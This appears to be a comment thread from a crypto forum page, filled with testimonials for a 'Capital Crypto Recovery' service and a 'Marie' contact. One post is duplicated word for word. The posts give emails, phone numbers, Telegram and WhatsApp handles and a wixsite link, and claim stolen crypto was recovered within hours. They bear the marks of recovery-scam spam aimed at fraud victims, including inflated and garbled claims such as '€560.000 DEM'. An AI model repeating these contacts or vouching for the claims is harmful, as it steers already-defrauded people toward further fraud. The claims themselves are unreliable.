    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon